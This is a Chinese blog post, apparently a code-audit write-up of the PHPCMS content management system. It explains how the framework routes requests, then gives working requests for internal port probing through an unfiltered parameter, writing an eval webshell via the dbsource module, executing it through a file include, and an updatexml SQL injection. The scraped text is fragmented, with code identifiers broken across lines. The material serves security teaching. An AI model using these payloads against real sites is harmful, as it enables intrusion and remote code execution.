本實驗僅用于信息防御教學(xué),切勿用于它用途
公眾號:XG小剛phpcms最近在學(xué)習(xí)php代碼審計,各種復(fù)現(xiàn)、各種測試搞得我頭昏腦脹。網(wǎng)上很多代碼審計的復(fù)現(xiàn)博客看似講的很清楚,最后" />
時間:2023-08-05 01:54:02 | 來源:網(wǎng)站運營
時間:2023-08-05 01:54:02 來源:網(wǎng)站運營
代碼審計-phpcms:一位苦于信息安全的萌新小白帽
本實驗僅用于信息防御教學(xué),切勿用于它用途
公眾號:XG小剛
api下存放api接口文件
caches下存放緩存、備份文件等等,
html下是空的暫時不提
phpcms下存放大部分的模塊、模板、插件等等,
phpsso_server是一個安裝過程選擇的功能,暫時不管,
static下存放各種css,js靜態(tài)文件
uploadfile顧名思義存放上傳的文件。
getdefinedconstant
函數(shù)將所有常量打印出來,然后用哪個查哪個)autoloadfunc()
pc_base
類,然后通讀一下這個類的各種函數(shù)loadsys_func
函數(shù),找到函數(shù)定義位置,global
傳參到$funcloadfunc
函數(shù),global傳參到$func$path=libs/functions/global.func.php
extention.func.php
,結(jié)果是自定義函數(shù)庫沒東西autoloadfunc()
定義位置,autoload_func
libs/functions/autoload/
下的所有.func.php文件,找到文件通讀代碼。creat_app()
函數(shù)loadsysclass
函數(shù)傳入?yún)?shù)application
loadclass
函數(shù)phpcms/libs/classes/application.class.php
文件$classes[$key] = new $name;
$name傳參是applicationphpcms/libs/classes/application.class.php
appliaction
__construct()
魔術(shù)方法loadsysclass
加載了param.class.php
參數(shù)處理類文件,m是模型,c是控制器,a是事件
application類
中定義為三個常量,并使用init()進行初始化phpcms/modules/
目錄下的模塊,也就是文件夾index.php?m=admin&c=database&a=export
phpcms/modules/
下的函數(shù)就可以輕松利用了phpcms/modules/search/searchadmin.php
文件內(nèi)有個publictest_sphinx()
函數(shù)fsockopen()
函數(shù),用來打開一個網(wǎng)絡(luò)連接或者一個Unix套接字連接 ,post傳入的sphinxhost和sphinxport沒有進行過濾http://192.168.1.1/index.php?m=search&c=search_admin&a=public_test_sphinxpost:sphinxhost=127.0.0.1&sphinxport=3306
經(jīng)測試,當(dāng)內(nèi)網(wǎng)端口存在時返回1phpcms/modules/dbsource/data.php
文件里有個add()
函數(shù)fileputcontent()
函數(shù),將$str寫入caches/caches_template/dbsource/$id.php
文件當(dāng)中name,type,dis_type,cache,num
都由上面post傳入,dis_type=3
后面有用192.168.1.1/index.php?m=dbsource&c=data&a=add&pc_hash=saLcKRpost:dosubmit=1&name=666&dis_type=3&type=1&data=select 1&template=<?php @eval($_GET[xg]);?>&num=1&cache=2
這里測試發(fā)現(xiàn)需要登錄后臺,那就算個后臺getshell了,登錄后臺給了個pc_hash=saLcKRcaches/caches_template/dbsource/
下發(fā)現(xiàn)多了個文件39.php,成功寫入了一句話木馬。template_url()
函數(shù)構(gòu)造了我們需要被引用的路徑phpcms/modules/dbsource/call.php的_format
函數(shù)中使用了此方法$type
為3時,65行進行文件包含。既然文件包含出來了,說明可以利用private
定義,所以只能在此文件內(nèi)搜索get()
函數(shù)的39行發(fā)現(xiàn)使用的_format()
函數(shù)192.168.1.1/index.php?m=dbsource&c=call&a=get&id=39&xg=phpinfo();
起飛phpcms/modules/dbsource/data.php
文件add()函數(shù)里192.168.1.1/index.php?m=dbsource&c=data&a=add&pc_hash=saLcKRpost:dosubmit=1&name=667&dis_type=3&type=1&data=select 1 and updatexml(1,concat(1,user(),0x7e,database(),0x7e,version()),1)&template=<?php @eval($_GET[xg]);?>&num=1&cache=2
發(fā)現(xiàn)依舊在caches/caches_template/dbsource/
下生成了40.php192.168.1.1/index.php?m=dbsource&c=call&a=get&id=40
起飛關(guān)鍵詞:
微信公眾號
版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。